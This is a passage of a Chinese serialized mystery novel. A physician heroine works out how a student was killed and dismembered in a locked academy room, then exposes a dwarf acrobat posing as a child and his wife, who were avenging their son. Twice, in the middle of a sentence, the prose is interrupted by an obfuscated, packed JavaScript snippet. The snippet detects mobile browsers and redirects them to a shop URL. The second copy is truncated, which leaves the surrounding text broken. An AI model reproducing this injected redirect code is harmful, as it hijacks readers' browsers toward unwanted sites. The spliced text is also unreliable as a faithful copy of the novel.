宁珏赞同道:“那便说得通了!否则就算放了血也很难保证地上没有一点儿血污吧?若有油布垫着那倒是好收拾多了。” 说完这话他扫过这后檐道:“凶手又会利用这些废弃之物又知道用油布还悄无声息地把油布偷走了此人只怕就住在这后平房之中!” 此言一出龚叔先胆战心惊起来裴晏吩咐道:“我记得杂役之中有五人都是最近一年才来书院的去找方院监拿他们的籍册——”- “最近一年来的有车马房的马中元花匠房的何冲还有门夫宋明远、斋夫姜亮与齐樯这五人都是长安城外之人离家脚程不足一日 来了之后一直安分守己没做错过什么事和学子们也没生过冲突……” 方青晔给裴晏翻看着籍册又道:“这五人虽然有些力气可除了姜亮与何冲年轻些另外三人都过了五十看门巡夜尚可拉开三石弓实在不易便是姜亮和何冲只怕也拉不开弓——” 宁珏摇头道:“凶手有意隐藏极有可能来书院这么久都未露出真功夫只是五十岁年纪的实在对不上三四十的倒还尚可可这另外二人没住在一起二十八那天晚上被吵醒之后有其他人为他们作证。” 大讲堂之内数日得来的证供卷宗皆在此宁珏一边说一边翻看很快又否定了这般推测裴晏沉吟道:“不错凶手可以隐藏功夫如今最要紧的并非能不能拉开弓还是要破解凶手是如何把付怀瑾尸体带出房间的这是最关键的一步袁焱和林牧之出事都是在开阔之地留下的痕迹也不多但这密室杀人一定有其缘故。” 宁珏十分赞同地点头 姜离这时道:“我也在想凶手为何如此并且我还在想凶手为何焚尸能将人血弃至粪池为何不将尸块一同丢入粪池?届时尸块腐坏仍然能破坏证据。” 裴晏和宁珏一同看来姜离便将早间之疑道出二人听完裴晏沉凝道:“毁尸灭迹通常只有一个缘故——为了掩藏凶手的作案手法。” 宁珏不禁道:“可付怀瑾是被放血而死只要有人发现茅房的异样应该也能猜出来丢尸块也同样易被发现并且万一只是因为凶手更憎恨付怀瑾呢?” 裴晏听至此忽然道:“凶手有没有可能在付怀瑾房内分尸?” 姜离听得一愣宁珏不禁失笑道:“在付怀瑾房内分尸?这怎么可能!别说分尸的动静不小凶手分尸之前是如何来的?又是如何袭击付怀瑾的?又是如何离开的?他还放了血呢放血之后提着一桶血和尸块下楼?” 裴晏道:“付怀瑾屋内地衣之上有印痕且地砖之上的裂纹乃是重压导致如今已知的付怀瑾死法之中只有分尸能令地砖开裂。” 宁珏无奈道:“师兄没人会冒失到带着尸块下楼吧?” 裴 晏只是如此一问,想到凶手行凶之后离开付怀瑾房舍的模样,他也觉此法太过冒险,便又翻看着卷宗道:“昨夜吹笛人的脚印与我们提过的五人皆合不上,但也存在凶手还有同伙的可能,早间问过所有二楼的学子,腊月二十八那日,进过袁焱房间的只有三人,柳元嘉、薛湛和虞梓谦,三人都没碰过他的油灯——” 裴晏说着问证所得,姜离却不知在沉思什么,不多时,她忽而道:“你们先核证供,我再去付怀瑾房中看看——” 话音落下,她转身便走,此刻已过申时,一轮金乌正悬在西天,她快步上得二楼,便见虞梓谦等人正在查看二楼外廊房檐,见她来了,众人连忙看过来,姜离自己也是一愣,“你们这是在做什么?” 虞梓谦道:“早上发现了那死鼠,我们怕其他地方也有,正在排查。” 姜离点了点头,直奔付怀瑾的屋子。 这屋内家具器物已被回归原位,姜离一扫而过后,又往付怀瑾所用灯盏看去,一番检查后,姜离忽然盯着书案上的灯盏细细研看起来。 怀夕在旁瞧见,忙问道:“怎么了姑娘?” 姜离拿着灯盏走去窗前,仔细看灯盘铜壁上的印痕,“这里有一丝污渍,但如今已经干结,不确定是灯油不纯,还是有人往里头下了毒。” 怀夕一惊,“凶手也给付怀瑾下了蓖麻籽毒?” 姜离道:“凶手若非付怀瑾熟人,那么晚了,无论谁要进来只怕都不易,除非凶手提前在他屋内也下了毒,付怀瑾彼时神思恍惚,难以挣扎。” 怀夕不甚明白,“可若是如此,付怀瑾刚刚天黑点灯之时,不就会中毒昏睡过去吗?难道凶手来的时候他已经昏睡了?可奴婢记得袁焱说过,付怀瑾二十八那日进屋子之后,便再没开过门,晚上他叫的时候付怀瑾还不耐烦地回了话,当时付怀瑾是醒着的,而他的门从内锁着,若他已经睡着,凶手是如何开门的呢?虽然江湖上多的是不入流的法子开门,可那样的动静万一惊着人了呢?奴婢随便说说……” “你说的很对,的确还有不合理之处,凶手应该做了比我们想到的更多的准备,他不可能贸然去赌遇不见人……” 姜离肯定了怀夕的质疑,秀眉又拧了起来,如果她猜测的不对,那凶手到底是如何离开这里的? 正沉思着,外头廊道里又想起嘈杂轻呼声,姜离走出房门一看,便见虞梓谦等人已经检查到了回廊中段,几乎所有住在二楼的学子都站了出来。 薛湛在虞梓谦身边扶着木架道:“距离上次放鼠药已经过了一月,咱们得再重新放!我老是听到头顶有窸窸窣窣的声响,一定还有老鼠未除。” 柳元嘉也拿折扇掩着口鼻道:“可不是,我还总闻见臭味儿呢,说不定我们头顶就有不少死老鼠,我想起来就头皮发麻,这屋子真是住不了一点儿。” 他二人出身权贵之家,自小锦衣玉食,哪怕没看见老鼠,可只要一想到可能有老鼠在自己头顶,心中便膈应不已,比起他们,南面住着的贫家学子们则没有这般避讳。 那张庆杰便道:“此前闹鼠患之时,我的书都被咬破了,但这一月再没见着书破损过,应该没有那么严重。” 更远处江麒也道:“是啊,我们刚来的那几天衣裳都要被咬破呢,近日偶尔听见些动静,但也没见着活的,衣裳也都好好的。” 一旁陶景华也低声道:“鼠药剧毒,往各处一放,我们也得谨小慎微,实在有些麻烦。” 柳元嘉横几人一眼,还是嫌恶道:“你们不除算了,我得和方院监好好说一说,若是书院不管,我让家里来人除便是——” 众人闻言面色各异起来,永阳侯府家大业大,自然不怕这趟差遣。 既是除鼠之争,姜离也无甚好关心,她又至袁焱房内,仔细检查其灯盏上的污痕,查验无果,又与付怀瑾房内灯盏比对,如此一番折腾,还是无法确定付怀瑾遇袭之前是否中毒,再想到何叔提过的蓖麻生长之地,她略一沉吟,又去往厨房院。- 已近午膳时分,厨房院内正一片忙碌,见姜离过来,龚嫂先抹了一把手迎了出来,“姑娘怎来了,可是有事?” 姜离道:“书院用水,只凭水井可足够?” 龚嫂一听忙叹道:“水井是够的,但也看天气,若下了雨,井中水便混浊不堪,总有两日得靠着天翁和挑水,天翁的水不好饮用的,只能刷锅洗衣,烧饭要去后山打水,如今吃饭的人多,少说得打个七八桶水才够用,我和云嫂的病就是这么严重的。” 姜离晨间才为二人扎了针,龚嫂这时便笑道:“早上扎完针便轻 松了许多到这会儿都尚且能忍受姑娘当真是神医……” 姜离转而问:“你和云嫂也去挑水?” 龚嫂叹道:“可不是就在正月十五过后山上连下了两天雨我们当时都去打水那有一段下坡路不好走我和云嫂费了好大劲后来没法子让他们几个男人帮忙才紧够食水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296809|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 龚嫂说着又低声道:“书院内一众杂役皆是各司其职工钱也不尽相同平日里无事我们也不好让大家帮我们。” 姜离了然“你们二人旧疾多年不好干重活累活的。” 龚嫂一脸坦然笑道“没办法啊我家老头子那时崴了脚就这他也跟我们一起去呢后来书院内学子陆陆续续回来我们连浣衣都得去后山不过姑娘放心我和云嫂都是做惯了粗活之人了那会子我修养了两天云嫂也和我一样小养了两日便又起来忙活我们都是粗人没姑娘想的那般娇弱。” 姜离听得拧眉“云嫂也只养了两日?” 龚嫂颔首“是啊当时我们问老何要了些草药随便水煎服用了两日便好了许多云嫂是老实人不会因病偷懒耍滑的。” 姜离闻言若有所思起来正要再问西面龚叔忽然绕了过来喊道:“老婆子你来看看那天瓮又堵不住了——” 姜离随着话音回神龚嫂赔笑一下忙朝西面山墙处走去。 姜离有些好奇也往山墙处跟了几步到了院墙跟前便见一座砖泥砌成的高大水瓮耸立在墙后这是平日里储存雨水的水瓮因是靠天吃饭又叫做天瓮 夫妻二人忙着堵水姜离却见天瓮不远处的檐下堆着半山翠竹那翠竹皆是丈余长短因砍伐日久竹身已经泛黄在竹山一侧还放着一根尖端绑着铁锥的细竹竿姜离盯着那细竹竿目光在天瓮和竹山间来回忽然眼眶狠狠一缩。 她不知想到什么转身便走怀夕连忙跟上来“姑娘怎么了?” 姜离沉声道:“我想到一个法子去看看那作案手法是否可行。” 怀夕一喜“姑娘知道凶手如何杀人了?!” 姜离只疾步道:“还要再看——” 她步履如风又往学舍二楼而去待上了楼便见廊道里的学子们还挤在一处众人之中虽有不怕老鼠的可也都不想老鼠为祸。 姜离扫了众人一眼再度回到付怀瑾的屋子她先看屏风再看桌案看完桌案又看向窗户如此面色沉重地看了半晌她轻喃道:“可用什么接呢?” 怀夕听得一头雾水又见姜离满面不解地走到门口处开门又关门在不轻的“吱呀”声中面上神色更显焦灼。 “贺炳志把人叫下来该走了——” 正沉思之间楼下忽然想起了葛宏的声音姜离走到围栏处往下一看果然看到葛宏一身短打褐袍正站在楼下。 回廊之上贺炳志应下一声带上胡修文、陶景华几个擅武课的学子匆匆下了楼。 几人前脚刚走回廊上便发出几声嗤笑人群之中又有人轻声叹道:“葛教头也就只能指使这些人了……”- 姜离听得皱眉但看着渐渐西垂的日头她未多理会又进了付怀瑾的屋子 她盯着门扇沉思道:“凶手选在雷雨夜动手为的便是掩人耳目但无论如何在付怀瑾房中杀人都是冒险之行——” 怀夕在旁道:“不是说付怀瑾胆子极小?说他连一个人去后山都不敢凶手只怕没找到别的机会只能谋划在他住处杀人。” 姜离点头“那么谋划越久越不可能让自己冒险。” 她在付怀瑾屋内徘徊片刻眼看暮色已至又跑去袁焱房中刚站在袁焱书案之外脑海中便浮现出了袁焱跳上书桌打老鼠的情形她下意识往旁边一退警惕地往头顶看了一眼便见那日顶板已被合上但此刻仍留有一道缝隙看着那道黑洞洞的缝隙姜离只觉下一刻便要出现老鼠的眼睛她心底有些发毛又往一旁退了一步。 她收回视线再看向这熟悉的屋子两日下来这两间屋子的每一处摆设家具她都铭记于心可即便如此还是难以想象凶手手法。 窗外暮色沉沉笼罩下来没多时姜离听见了楼下传来了贺炳志的轻呼声她转身出门往楼下一看便见葛宏带着众人回了 来他们两两分组各抬着大大小小的箱笼这会儿正要搬去一楼北面的库房。 姜离目光在众人身上扫过 为了方便搬运重物葛宏此刻着一身利落袍衫袍角也被他掖进了裤腰中也是因此袍衫里子上的五彩绣纹露了出来天光虽已昏暗可姜离还是看清楚那是一个篆体的五彩福字因绣在里衬之上平日里并不显眼。 姜离眯起眸子待一行人将所有箱笼抬进屋内她连忙快步跑下楼去。 贺炳志等人累的满头大汗与葛宏做别后往学舍而去葛宏锁上屋门正往德音楼走姜离却快步跟了上来“葛教头请留步——” 葛宏回头一见是她堆出两分笑意来“薛姑娘?姑娘有何事?” 姜离看向葛宏的衣袍“葛教头这里衬上的福字是——” “哦这是我们老家的习俗——” 葛宏笑起来“这是过年时我夫人绣的五彩丝线绣成五彩福字穿在身上无论去哪里都能保一年安康顺遂我们那里男女老少皆是如此。” 他说着将袍角放下来“让姑娘见笑了。” 姜离缓缓摇头不知想到什么又问道:“葛教头是否嗜辣?” 葛宏微讶道:“姑娘如何知道?我来了长安这几年口味已淡了不少我们那里专产辣椒花椒无人不嗜辣。” 葛宏说完却见姜离陷入了沉思又听她喃喃道:“怎么可能呢?” 葛宏一时纳闷起来“怎么了薛姑娘?可是我说错了什么?” 姜离摇头眼底幽明之光簇闪某一刻她似是想通了什么断然转身往大讲堂跑去葛宏见状不对也连忙跟了上来。 讲堂内裴晏正吩咐九思什么听见脚步声一抬头却是姜离见她面色前所未有凝重裴晏站起身道:“怎么了?” 姜离深吸口气道:“我知道凶手如何杀付怀瑾了!” 作者有话要说 我来啦~下章揭晓谜底~ 大家记得收藏作者专栏昂~ 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 163 章 揭晓真相! 第163章揭晓真相! “你知道凶手的作案手法了?!” 宁珏的反应比裴晏更激动,“那凶手是谁你可知道了?” 姜离进门来,沉声道:“杀人手法想通了,但凶手到底是谁还有两点需要验证,可眼下时辰已晚,若要连夜查,只怕今夜大家都无法入睡了——” 裴晏近前问:“为何无法入睡?” 姜离默了默,道:“因要掀开屋顶查。” 宁珏一愕,此刻夜幕已经降临,书院四处都点亮了灯火,他不禁道:“屋顶?这可是个大工程啊,为何要去屋顶查呢?” 跟来的葛宏惊道:“他们白日在找死老鼠,莫不是因为这个?” 他尚且站在门口,说着回头往学舍楼上看去,这一看,便见廊道上还有人拿着竹竿往屋檐里捣鼓,他便道:“现在他们还没消停呢。” 裴晏利落道:“缉凶紧要,先去付怀瑾学舍说说你推出的法子!” 姜离定然道:“好,确要去他屋内,因为你说得对,凶手的确是在付怀瑾屋内分尸——” 裴晏眼眶微缩,宁珏几人更是倒吸一口凉气,事不宜迟,众人立刻出门往学舍楼走,可尚未走到楼下,北门甬道之中跑出来个人—— “葛教头——” 众人闻声回头,便见是北门的门夫王大成急吼吼跑了过来。 葛宏不禁驻足:“怎么了?” 王大成纳闷道:“不是说今日只搬一次吗?怎么又有人往校场去了?” 葛宏一愣,前面姜离几人也停下了脚步。 葛宏不解道:“往校场去了?可看清楚是谁了吗?我们都已经歇下了啊,今日不搬了,我也没让任何人去校场啊。” 王大成登时愕然,“不可能!我没有看错,我就去了茅房的功夫,回来便见门闩被下了,我追了两步,便见有人入了东面竹林,还不止一人呢。” 葛宏眉头紧皱,“不是我吩咐的,去问问方院监——” 葛宏话语落下又欲跟来,可一转身,却见姜离面色已变,她沉声道:“都这个时辰了,怎么还会有人去校场——” 宁珏闻言尚在犹疑,裴晏倏地道:“不好,只怕是凶手要跑!” 他也神容几变立刻道:“九思十安——” 一声令下二人飞快地往北面掠去裴晏亦大步往北去宁珏惊愕不已“师兄不一定吧薛泠还没说杀人之法凶手怎么就要跑了?!” 姜离心念电转却也道:“很有可能!先去看看!” 她顾不上解释只提起裙角小跑着跟在裴晏身后这动静颇大登时引得学舍和路过院阁中人注意待几人一路出书院急奔至碑林入口便见九思急掠回来“公子的确有人要跑!虽被我们拦住但他们有人质柳元嘉不知怎么在那里——” “柳元嘉?!”葛宏大骇“我这就去喊人!” 葛宏转身而走裴晏道:“带路——” 九思快步疾行却是入碑林以北的松林直往石刻崖的方向行去没走多远前面合抱粗的古松之后出现了遮遮掩掩的人影十安带着两个武卫执剑而立 夜色漆黑林中无灯无火九思燃起火折子些微的光亮映出古松后的一角身影有两人的身影被拢在阴影之中唯独柳元嘉因为身形高挺不仅天青色衣袍露出小半那支滴血的手臂也看得人触目惊心! “不、不、不要过来!” “他会要了我的命——” “快去找我父、啊——” 宁珏震惊地看着这一幕“怎会如此?真是凶手要跑?!” 宁珏三问落定北门方向得了信的方青晔等人手执灯笼疾步跑了过来! “鹤臣!这是怎么回事——” “真的找到凶手了?!” “真是元嘉被挟持了?” “父亲父——” 连声喝问传来柳元嘉听到了柳明程之声立刻颤声呼喊起来然而不知如何被挟持他语声骤然一断又痛嘶连连。 柳明程痛心道:“元嘉——” “鹤臣!真是凶手挟持了柳元嘉想跑?!怎么会这样?凶手是谁?又怎么忽然要跑怎么又挟持了柳元嘉啊——” 方青晔气喘吁吁跑到跟前连番的喝问亦是身后一众学子宾客之疑所有人都没想到这好端端的凶手竟会自爆出逃而此刻他们手执灯盏分明已到了跟前可因为远处古松掩映他们还是看不清树 后之人到底是谁。 裴晏目光如剑盯着树后,道:“东方嘉树和魏青杨死后,凶手迅速离开事发之地,官府没有找到任何线索,他们也再没有出现,如今付怀瑾和袁焱死了,林牧之重伤难治,按此前的惯例,他们也应该准备走了——” 裴晏话音落下,姜离道:“并且,他们应该已经发现自己露了破绽,早走一刻便有脱身的希望。” 方青晔惊道:“怎么露了破绽?!” 宁珏闻言道:“薛姑娘适才刚刚想通了凶手杀害付怀瑾的方法,我们正要去案发现场推演时,便发现有人跑了——” 方青晔惊喜不已,“薛姑娘,你当真破解了那密室杀人?!” 姜离缓缓点头,“想通了——” 薛琦也未想到竟然是姜离破解了那最难解的密室之疑,立刻上前道:“泠儿!那你也知道凶手是谁了?!” 薛琦话音刚落,身后又传来一阵脚步声,宁珏回头一看,便见是张伯带着付宗源和林牧之走了过来,付宗源通身颓败,此刻脚步飞快,双眼也多有疯狂之色,林牧之重伤未愈,这会儿面如金纸,是被几个斋夫抬了过来。 张伯上前道:“世子,院监,适才动静太大,他们一直闹着要出来看凶手到底是谁,小人问了老太爷,老太爷让小人带他们过来。” 方青晔不置可否,裴晏道:“来了也好——” 他言毕看向姜离,“薛姑娘,凶手既然被抓个正着,那便请你说一说,凶手是如何杀了付怀瑾的吧——” 分明只隔了三五丈之地,可众人硬是看不清凶手为何人,一听此话,所有人都百爪挠心地看向了姜离,姜离默然一瞬,上前半步开了口: “付怀瑾乃是二月二十八晚上遇害,至今已有六日,起初,最大的难点是付怀瑾的下落,待发现付怀瑾骸骨之后,难住我们的,便是凶手是如何不声不响地袭击付怀瑾,再将其掳走分尸,分尸之地又在何处——” 她语声清冷,一字一词掷地有声,在这凉意迫人的夜间松林中尤其慑人,稍稍一顿,她继续道:“这几日裴少卿与大理寺诸人一直在核查所有人的证供和来去行迹,但查来查去,还是无法准确锁定嫌犯,而自从得知了麟州书院的旧事之后,我却因付怀瑾的尸骨生了另一重疑问——” 姜离并不着急可付宗源身为付怀瑾之父却是心若火焚他忍不住道:“怀瑾已经几乎尸骨无存那些骨渣还能有什么疑问?!” 姜离道:“我们已经知道凶手此番是为范长佑复仇他们四人之死甚至包括林先生都是当年付怀瑾几人虐杀范长佑的手法——” 付宗源听得拳头紧攥“薛姑娘!这些话就不必多说了吧!” 他们身后站着学子杂役近百人付宗源当然不想把他们父子当年的罪行公之于众姜离闻言眸色一冷仍然继续道:“付侍郎 付宗源还欲再说姜离提高声量道:“凶手是为范长佑复仇只需按照当年范长佑的死法杀人便是范长佑只被毁脸刻字、断腿放血而已凶手怎么非要分尸焚尸呢?” 姜离加重了“而已”两字可那“毁脸刻字、断腿放血”八字却是格外令人毛骨悚然她这话一落众人分不清是阴是阳心底却齐齐生出范长佑实在死的可怜之感。 不等付宗源接话姜离继续道:“就在今晨我们在书院茅房发现了过多的蝇虫与腐虫后来还打捞到了凶手在月余之前便偷走的一把崭新柴刀就此破解了付怀瑾在死前同样被放血之事——” “你说什么?!怀瑾他被——” 付宗源怒不可遏更心痛如绞姜离不做搭理道:“付怀瑾极可能被放血而死凶手将其身上之血倒入茅房不说还在之后将其分尸分尸也就罢了若是为了掩盖付怀瑾被放血之事可凶手为何不将尸块也丢入茅房却要火烧呢?想到这些就不得不提我在那些骨渣之中的发现——那些骨渣虽细碎难辨但我还是发现付怀瑾的头骨也被劈碎想那浴房灶口尺宽见方凶手为何要把脑袋也砍碎?” 宁珏听得入迷这时道:“为了更易烧化将其透露挫骨扬灰?” 姜离定声道:“起初我也如此想可就在午间裴少卿怀疑凶手在付怀瑾房间之内分尸一下子提醒了我——” 宁珏不由道:“对啊师兄是说过但怎么可能呢?” 方青晔这时也道:“凶手在学舍之中分尸?那得是多大的响动袁焱就在隔壁旁人听不到他难道也听不到?并且 分尸之后尸块更难处理他如何带走呢?” 姜离语声一沉“袁焱当然听不到因为当天晚上凶手在他的油灯之中下了蓖麻籽之毒袁焱在雷雨之后很快中毒昏睡便是天塌地陷他都不一定能醒来至于尸块如何被带走这便是凶手为何一定要焚尸的原因了——” 她略一顿语声更沉重道:“因为!凶手根本就没有把付怀瑾的尸块从楼道带走方院监你还记得付怀瑾窗棂上那两个一点儿窗纸也不剩的窗格吗?!” 方青晔倒抽一口凉气“你是说——” “不错凶手一定要焚尸正是为了掩盖他将付怀瑾尸体细分极碎而后由窗格扔出窗外从而伪造密室的杀人之法如果将尸块扔入茅房粪坑血肉会腐烂 裴晏字字铮然众人听得惊呼不止。 方青晔骇然道:“那、那窗格就比海碗大一点儿这是说凶手把付怀瑾的尸体分成了海碗大小?因其他窗纸上或许沾了血所以窗纸一点儿没留?” 姜离重重点头“正是如此凶手不止一人而他要伪造密室如何运出尸体便是关键用此法正好混淆视听而焚尸如果运气好的话或许连骨渣都不会被发现。” 议论声此起彼伏裴晏心底也不禁阵阵叹服来书院的第一日姜离便察觉到了窗格怪异但因为外头的松枝刮破了窗格彼时所有人都未深想唯独姜离终究未忽略此处他这时又道:“所以凶手当初是在付怀瑾屋内放血分尸?” 说至此他心底一动道“他那褶皱的衣衫乃是因为凶手将付怀瑾挂了起来?!” 宁珏也恍然大悟“就像杀猪的时候会把猪吊起来?!” “宁珏!你休要放肆——” 宁珏脱口而出付宗源一听他竟把付怀瑾和猪做比登时怒火勃然宁珏闻言轻咳一声“死者为大死者为大付大人息怒是我失言了。” 宁珏虽是告罪语调却十分轻松付宗源气的眼前发黑一旁姜离颔首道:“凶手或许做过杀猪杀羊之类的活计谋害付怀瑾之时也用了此法除此之外杂物房丢过油布 多半也是被凶手拿去防止溅血,那地砖的裂纹则是分尸之时用力太过所致。” “等等——” 听至此,人群中的袁兴武忽然开口,“他给付怀瑾放了血,尸块可以丢,那人血呢?一个十八岁男子的血少说得有小半桶,总不能是从窗格倒出去吧?” 姜离摇头,“自然不可能,但凶手的同伙在厨房当差,厨房山墙之外有天瓮,天瓮旁还有成山的紫竹,并且,还有一杆专门通竹心的细竹绑着铁锥放在一旁,任人取用,付怀瑾的学舍窗户只有丈余高,那山墙外的长竹正可似引水的竹筒将人血送出。” 在那小而奢华的雅室内放血分尸,再从窗格丢出尸块,再用竹筒送出人血,而凶手做这些,便好似杀猪杀羊一般冷峻无情…… 想到这一幕,在场之人无论老少,皆难想象那场面是何等的血腥恐怖,渐渐地,议论声减小,呜咽而过的山风似鬼泣,胆子小的,都忙不迭往同伴身边靠去。 人群诡异的静默下来,这时跟来的柳明程焦急道:“所以薛姑娘,凶手到底是谁?他们又为何挟持元嘉啊?元嘉又没害过人——” 他话音落定,高从章也不禁问道:“可薛姑娘,你说凶手伪造密室是为了混淆视听,那他自己是如何离开的呢?他有分尸的柴刀,还有油布,还有装人血的器物,他来去带着这些东西怎可能不引人瞩目?” 姜离看一眼柳明程道:“我并不知凶手为何挟持柳公子,至于凶手自己如何离开,那便到了本案又一关键障眼法——” 她眉眼凝重起来,“凶手根本不是从正门离开,不仅不是从正门离开,甚至不是从正门进来!” 话虽未尽,但裴晏已经豁然开朗,“是从屋顶来去?” 宁珏也讶然道:“所以你说要搜屋顶?这是如何想到的?!” 姜离点头应是,“我思来想去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方青晔不敢置信“你刚才说凶手的同伙是厨房中人?是谁?你又是如何发现的?” 姜离不知想到什么语声忽然艰涩了些“我是看病的时候发现的她的病一看便有十年以上按她的身体是不应忍着旧疾复发之苦来书 院起早贪黑忙碌的可她还是来了我起初只觉她许是家中困难但当我想通了这一切我便明白了对于一个母亲而言没有什么比替儿子复仇更为重要——” “母亲?!”宁珏震惊不已“你是说范长佑的母亲来了?” 姜离紧盯着古松“云嫂我说的可对吗?” “是云嫂!竟是云嫂?!” “不这不可能——” 人群中响起惊呼张穗儿都难以置信地呆了主龚嫂在人群之中四望“云嫂?怎么可能是她她、她只是没跟来而已……” 人群中没有云嫂的身影随着姜离话落 方青晔忍不住道:“如果同伙是云嫂那另一人呢?是范长佑的父亲还是堂兄?你刚才说是看到葛教头身上的福字才猜到凶手的可那福字是他老家的风俗是麻州——” 方青晔说至此忽然顿住话头一旁的葛宏也恍然大悟葛宏不敢相信道:“你不会是说凶手是陶景华吧他才十三岁那他是范长佑的什么人?” 姜离面色复杂起来“方院监和葛教头应该记得那虫害之祸——” 二人纷纷点头姜离又道:“那毒虫虽生在野地可因为飞行距离短多是固定在一处栖息的而那毒虫的源头其实就在石刻崖下——” 方青晔瞪大眸子“石刻崖下?薛姑娘如何知道?” 姜离眉头微皱裴晏忙道:“我探得的。” 石刻崖乃是书院禁地这便是说裴晏闯了禁地但他怎么会找去那里呢? 方青晔心底疑问满腹可眼下最紧要的还是挖出命案真凶他忙又看向姜离“所以呢?源头在石刻崖怎么了?” 姜离幽幽道:“我此前一直在想凶手好端端的怎会去石刻崖找毒虫因那断崖高度不低再加上狂风肆虐毒虫根本飞不上崖顶直到今天我给龚嫂和云嫂看病她二人一个膝盖痛一个腰痛都要用一味‘威灵仙’的药草此药难得龚嫂的膝盖痛有别的药替代但云嫂的腰痛却已有十年之久若用别的药草月余才可大好若用威灵仙则三五日便可见效而我从龚嫂处得知年后她们曾犯过一次病云嫂彼时养了三日便可起身忙碌……” 姜离说至 此,心绪陈杂道:“我是医家,没有人比我更清楚她腰伤之苦,能那样快见好,一定是有人偷偷给她采了‘威灵仙’的缘故—— 众人听得不甚明白,姜离这时看向同样一脸复杂的林牧之,“我记得林先生说过,说范长佑当年只提过自己的母亲身材矮小,做多了苦活留下了伤病,已卧床多年,云嫂的病正好与这一点合上,而同时,范长佑却对自己的父亲有些避讳,他能直言自己的母亲在沙场背过砂土,却不敢说自己的父亲是哪样的江湖手艺人,他分明不是嫌贫爱富之人—— 姜离微微一顿,又道:“且同时,东方嘉树死之后,衙门只查出了一样古怪,说书院之外曾出现过一对做小生意的母子,出事之后那对母子便消失不见了。 宁珏惊道:“你是说范长佑还有个弟弟?! 姜离微微摇头,“不……不是弟弟,那威灵仙长在断崖,能冒性命之忧去采药,其中情谊之深自不必说,而当年范长佑之所以无法告知林先生父亲是何手艺人,不是因为他嫌父亲身份贫贱,而是因为他的父亲患有一种侏儒少颜之症,这等身体残缺之疾乃是天生,且为世人鄙薄不容,令他无法开口—— 不等众人震惊,姜离加快语速道:“所以当初出现在彬州书院之外的二人才会被认成母子,而无人能想到,他们根本不是母子,而是夫妻! “也只有侏儒少颜之疾,他才能通过狭窄的顶板间隙出入付怀瑾学舍,他才能假冒十三岁的学子,而后一人为厨娘一人为学生,看似毫不相干,却能里外配合,差点就令付怀瑾之死也成为悬案—— 姜离言辞切切,末了却沉沉一叹:“也只有父母之爱,才能为了范长佑不惜千里之遥也要报仇雪恨…… 作者有话要说 我来啦~命案基本结束,还有个孔昱升待揭晓~ 求求营养液昂~ 第 164 章 揭晓真相2 第164章揭晓真相2 夜如泼墨,风呜似泣,姜离话音落定,所有人都惊得说不出话来。 林牧之不敢置信道:“不,这不可能,范长佑十三岁便已身高五尺,生得更是挺拔俊逸,这样一个人,他的父亲,怎么可能患有侏儒之症呢?!” 姜离定然道:“侏儒之症并无遗传,甚至医家也不知为何患病,许多地方将其视为诅咒与畸形,常为世人唾弃不容,范长佑定然也是因此不敢说他父亲是哪般模样,我想,他父亲自己也因此不敢来书院给范长佑招来鄙薄。” 微微一顿,姜离继续道:“其实当我想到凶手是从顶板进出之后,我曾犹疑过凶手到底是陶景华还是江麒,毕竟江麒身形也十分矮小,也能从钻入狭小之地,且他与陶景华住在一处,或许用过他的衣衫也不一定。但我又想到今晨厨房做了辛辣灌肺汤,他们四人之中,陶景华一口也未动,彼时,穗儿说今日的学子们因焚尸之事胃口都不佳,但倘若陶景华根本不是麻州人,而是麟州人呢?麻州嗜辣,麟州的口味则十分清淡,他根本是害怕用了灌肺汤暴露自己不能食辣的破绽。” 宁珏听到这里,忍不住道:“那他父亲到底是做什么的?他能开三石弓?” 袁焱之死虽是机关,但最重要的三石弓必为凶手拉开,再加上谋害林牧之的假山石柱也需极大的力气才能凿断,宁珏不由怀疑陶景华是否有那般气力。 姜离道:“我曾在江湖上看到过一种杂耍戏法,名为‘小儿托天’,便是看起来只有八九岁的小孩子,能托起成年男子都难已撼动的两百斤巨鼎,彼时看客们惊为天人,可实际上那七八岁的小儿并非孩童,而是患有侏儒之症的成年男子,他们身量虽不会长大,但骨骼已是成人的骨骼,而这样身体畸形之人平日多受白眼,在杂耍戏法中却是得天独厚,他不仅力大,且能巧置机关,多半是常在杂耍班子讨生活的缘故。” 宁珏恍然大悟,正要再说,对面古松之后响起了一声冷笑—— “薛姑娘好生聪颖,连我的生计都猜对了。” 众人倒吸一口凉气,只因这声音分明还是陶景华的声音,可比起那个自麻州而来的贫家小学子,此刻这人的说话声粗豪狠厉了不少,哪里还是同一个人? 此言一出,所有目光都投向了古松之后,便见柳元嘉痛嘶连连地从树后移出,而身量矮小的陶景华和云嫂,一人一把柴刀掩藏在柳元嘉身后。 “陶景华!真的是你—— 贺炳志挤在人群之后率先开了口,他难以置信道:“怎么可能呢?你怎么可能是三十多岁的成人?我们日日朝夕相处,你怎会…… 不等陶景华说话,裴晏道:“他只怕早就习惯扮演小孩子了。 陶景华又轻笑一声,很快,他自柳元嘉身后探出半边脸,阴恻恻的目光在人群之中扫视一圈,最终落在了一脸愤怒的付宗源面上,又阴沉沉问:“付刺史,亲眼看着自己的孩子被挫骨扬灰,这滋味好受吗? “岂有此理!你们!你们还不把他拿下—— 付宗源本就怒不可遏,此时更是恨不能噬凶手血肉,他此言一出,柳明程却上前一步,断然道:“不,不许妄动—— 他说着亦切齿道:“付大人,你没看到吗?元嘉还在他手中,你想干什么? 